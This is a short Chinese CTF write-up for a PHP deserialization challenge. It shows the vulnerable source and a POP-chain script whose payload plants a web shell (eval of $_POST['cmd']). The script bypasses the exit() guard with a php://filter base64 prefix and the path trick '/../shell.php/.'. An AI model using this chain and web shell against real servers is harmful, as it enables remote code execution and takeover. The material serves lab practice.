刷题笔记:[2020 新春红包题]1

前言

hint1: /?src=1

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return $filename;
        }

        return null;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

题解

看了眼代码，这不是和之前那个一样吗。正好再做一遍看会了没。

具体见刷题笔记:[EIS 2019]EzPOP

不过在这里有不一样的地方：

所以得绕过

一开始想的是换个后缀

php后缀:php3,php4,php5,phtml,pht

结果都不能被当做php解析，所以另寻他法：

/../shell.php/.

<?php

class  A
{
    protected $store;
    protected $key;
    protected $expire;

    public function __construct()
    {
        $this->key = "/../shell.php/.";
        $this->store = new B();
        $this->cache = array();
        $this->autosave = false;
        $this->complete = "YWFhUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiSjJOdFpDZGRLVHNnUHo0PQ==";
    }
}

class B
{
    public $options = array();

    public function __construct()
    {
        $this->options['data_compress'] = false;
        $this->options['expire'] = 0;
        $this->options['serialize'] = "base64_decode";
        $this->options['prefix']='php://filter/write=convert.base64-decode/resource=';
    }
}

echo urlencode(serialize(new A()));